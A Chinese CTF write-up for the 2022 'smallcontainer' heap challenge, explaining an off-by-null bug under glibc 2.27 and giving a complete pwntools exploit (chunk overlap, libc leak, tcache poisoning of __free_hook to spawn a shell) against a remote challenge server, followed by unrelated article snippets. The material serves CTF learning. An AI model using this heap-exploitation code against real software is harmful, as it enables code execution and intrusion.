[巅峰极客 2022]smallcontainer

news2024/11/18 21:46:55

这题我认为是比较有思考意义的。

版本是2.27,有tcachebin,但大部分安全检测都没有。

直接看add函数。

不能得到fastbin,也不能直接0x410分配到unsortedbin了,并且最多同时存在16个chunk。

free后会把指针情况,没有uaf漏洞。

所以着重看edit函数。

点进去看check。

 if ( *a1 == 17 )
      *a1 = 0;

很明显off-by-null漏洞,可以将前一个chunk分配为0xf8,然后将0xf8都填满,后一个chunk若size域为0x211,由于小端序,最低位为'\x11',就是17,会被覆盖成'\x00'。

此时要开始考虑堆的设计,如果后一个chunk是0x211,被覆盖后则会变成0x200,这时候要保证0x200大小的tcachebin全都被填满了。

第二点,当你释放被覆盖的chunk是,它会去向后检查能否合并,后面一个chunk的地址是当前chunk的地址加上size,但是你的size域减少了0x10,程序就找不到下一个chunk的pre_size和size域,所以要edit一下,布置一下下一个chunk的头部。

一下是这部分代码:

for i in range(10):
    add(0x208)
for i in range(10,17):
    add(0x1f0)
for i in range(10,17):
    delete(i)
for i in range(5):
    delete(i)
delete(7)
delete(8)
delete(5)
payload=b'a'*0x1f0+p64(0)+p64(0x211)
edit(9,payload)

随后要更改2次,第一个覆盖size域,使其pre_inuse清空,第二次更改其pre_size域。

payload=b'a'*0x208
edit(0,payload)
payload=b'a'*0x200+p64(0x840)
edit(0,payload)

最后delete(9)就能合并chunk成功。

接下来就没什么意思了,以下是全部代码:

from pwn import *
context.arch='amd64'
elf=ELF('./pwn')
libc=ELF('./libc-2.27.so')
io=remote('node4.anna.nssctf.cn',28672)
#io=remote('pwn.challenge.ctf.show',28284)
#io=process('./pwn')

def add(size):
    io.recvuntil(b"> ")
    io.sendline(b'1')
    io.recvuntil(b"Input size: ")
    io.sendline(str(size).encode())

def delete(idx) :
    io.recvuntil(b"> ")
    io.sendline(b'2')
    io.recvuntil(b"Input index: ")
    io.sendline(str(idx).encode())

def show(idx):
    io.recvuntil(b"> ")
    io.sendline(b'4')
    io.recvuntil(b"Input index: ")
    io.sendline(str(idx).encode())

def edit(idx,content) :
    io.recvuntil(b"> ")
    io.sendline(b'3')
    io.recvuntil(b"Input index: ")
    io.sendline(str(idx).encode())
    sleep(1)
    io.send(content)

for i in range(10):
    add(0x208)
for i in range(10,17):
    add(0x1f0)
for i in range(10,17):
    delete(i)
for i in range(5):
    delete(i)
delete(7)
delete(8)
delete(5)
payload=b'a'*0x1f0+p64(0)+p64(0x211)
edit(9,payload)
add(0x208)#0
payload=b'a'*0x208
edit(0,payload)
payload=b'a'*0x200+p64(0x840)
edit(0,payload)
delete(9)
add(0x220)#1
add(0x3f0)#2
show(0)
usbin=int(b'0x'+io.recv(12),16)
print('usbin:',hex(usbin))
malloc_hook=usbin-0x70
libc_base=malloc_hook-libc.sym['__malloc_hook']
print('libc_base:',hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
print('free_book:',hex(free_hook))
system=libc_base+libc.sym['system']
payload=b'a'*0x1e0+p64(0)+p64(0x211)+p64(free_hook)
edit(2,payload)
add(0x208)#3
add(0x208)#4
edit(4,p64(system))
edit(3,b'/bin/sh\x00')
io.interactive()


 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1621021.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【基于YOLOv8的森林烟雾火焰检测 附源码 数据集】

基于YOLOv8的森林烟雾火焰检测 附源码 数据集 在森林火灾的早期预防和控制中,森林烟雾火焰检测技术发挥着至关重要的作用。本技术通过先进的传感器和图像识别系统,实时监测森林区域中的烟雾和火焰异常,快速响应可能的火灾发生。森林烟雾火焰…

脚手架搭建项目package.json配置中依赖的版本问题

脚手架搭建项目package.json配置中依赖的版本问题 问题描述:项目刚搭建好,运行没有问题,为什么过一段时间,删除node_modules,或者重新安装包依赖,然后项目某些地方出现莫名的错误(依赖库的地方…

【正则表达式】正则表达式基本语法元素

目录 字符类量词边界匹配逻辑和分组转义和特殊字符验证正则表达式是否能够成功提取数据 字符类 .:匹配除换行符之外的任何单个字符。 [abc]:匹配方括号内的任何字符。 [^abc]:匹配不在方括号内的任何字符。 [a-z]:匹配任何小写字…

威纶通软件安装(一步一步,包成功)

软件安装 (安装之前建议关闭防火墙) 威纶通官网 1,点击服务支持——>下载中心 小编建议下载新版低一个版本。 2,文件夹进行解压 3,安装文件 4,选择文件语言 5,进行向导安装(下…

春秋云镜 CVE-2023-51048

靶标介绍: S-CMS v5.0 被发现存在SQLI。 开启靶场 根据题目查找S-CMS v5.0漏洞,百度没有查询到,使用必应搜索S-CMS v5.0 查找到githubCVE-2023-51052的描述 S-CMS v5.0 was discovered to contain a SQL injection... CVE-2023-51052 Git…

JAVA操作Influxdb

1、安装influxdb 本文采用Influxdb2,版本为influxdb:2.7.6。安装方式为docker。 执行安装命令 docker pull influxdb:2.7.6 创建服务 docker run --nameinfluxdb2 -p 8086:8086 -v $PWD:/var/lib/influxdb -d influxdb:2.7.6 其中 $PWD 指定为当前目录。可以根据需求进行更…

【电控笔记5.6】Butterworth滤波器

Butterworth滤波器 需求:在增益交越频率拥有最小的相位滞后 波器经常被使用原因是 Butterworth 滤波器对于给定阶数,拥有最倾斜的衰减率而在伯德图又不会产生凸峰,同时在低频段的相位滞后小,因此本节将为各位介绍 Butterworth 低…

按照以下步骤使用Transformer模型

“Transformer”是一种深度学习模型架构,用于处理序列数据,特别是在自然语言处理(NLP)领域中表现出色。它由Google Brain团队于2017年提出,并在机器翻译任务中取得了突破性的成果。Transformer的核心思想是完全基于自注…

SpringBoot整合七牛云实现图片的上传管理

唠嗑部分 各位小伙伴大家好,我是全栈小白,今天我们来分享一下SpringBoot如何整合七牛云存储实现图片的上传与存储 首先我们来说说图片存储,在项目中图片几乎是必不可少的,那么大家会选择怎样存储呢,当然有几种方案 …

form-serialize插件,快速收集表单元素的值

form-serialize插件可以快速获得表单元素的值,主要用于当表单很多的情况下,将表单的值一起打包发给服务器。 使用方法: 1.引入插件 2.获取表单的dom 3.使用插件的serialize方法 serialize方法有两个参数,第一个是获取到的表单d…

Docker容器搭建Hadoop集群(hadoop-3.1.3)

Docker容器环境下搭建Hadoop集群(完全分布式) hadoop版本为hadoop-3.1.3 (1)安装额外的速度较快的镜像库 yum install -y epel-release (2)安装同步工具,方便在多台服务器上进行文件的传输 …

java开发之路——用户管理中心_简单初始化

用户管理中心_简单初始化 (一) 初始化项目1. 使用 Ant Design Pro(现成的管理系统) 进行前端初始化2. 后端初始化三种初始化java项目 (二) 遇到的问题【问题1】Ant design pro页面打不开,一直在budiling控制台出现错误error-./src/components/index.ts【问题2】初始…

【期末复习向】智能信息系统前4章梳理

第四章 不确定性推理 [了解即可]4.1 不确定性概述 不确定性推理概念 所谓推理,就是从已知事实出发,运用相关的知识(或规则)逐步推出结论或者证明某个假设成立或不成立的思维过程。 不确定性方法分类 1.模型方法 a&#xff0…

新技术前沿-2024-大型语言模型LLM的本地化部署

参考快速入门LLM 参考究竟什么是神经网络 1 深度学习 1.1 神经网络和深度学习 神经网络是一种模拟人脑神经元工作方式的机器学习算法,也是深度学习算法的基本构成块。神经网络由多个相互连接的节点(也称为神经元或人工神经元)组成,这些节点被组织成层次结构。通过训练,…

【Linux】谈谈shell外壳是什么?

💐 🌸 🌷 🍀 🌹 🌻 🌺 🍁 🍃 🍂 🌿 🍄🍝 🍛 🍤 📃个人主页 :阿然成长日记 …

在pycharm中导入sklearn库失败到成功

运行下列代码: pip install -i https://pypi.tuna.tsinghua.edu.cn/simple scikit-learn 可以发现下载库时,不是直接下载sklearn库,而是下载scikit-learn库 之前下载一直失败,终于找到原因了。果然还是得多尝试,还…

【已解决简单好用】notepad++怎么设置中文

打开Notepad软件。点击软件界面顶部菜单栏中的“Settings”选项。在下拉菜单中选择“Preferences”进行语言设置。在打开的设置窗口中,找到“General”选项。在“General”选项中,找到“Localization”(界面语言)项。在下拉菜单中…

Spring-IOC之组件扫描

版本 Spring Framework 6.0.9​ 1. 前言 通过自动扫描,Spring 会自动从扫描指定的包及其子包下的所有类,并根据类上的特定注解将该类装配到容器中,而无需在 XML 配置文件或 Java 配置类中逐一声明每一个 Bean。 支持的注解 Spring 支持一系…

IDEA最好用插件推荐

1 背景 俗话说:“工欲善其事必先利其器”,本问介绍几款强大实用的 IDEA 插件,助力大家开发。 希望大家做一个聪明又努力的人,而不只是一个努力的人。 以下插件大都可以通过 IDEA 自带的插件管理中心安装,如果搜不到可以…

如何给word中的拼音加声调?分享3个方法

一,前言 在Word文档中标注拼音声调,是许多人在处理中文文档时经常需要面对的问题。对于不熟悉拼音的人来说,这可能会是一个挑战。但是,通过掌握一些简单的步骤和技巧,我们可以轻松地在Word文档中标注拼音声调。 二&a…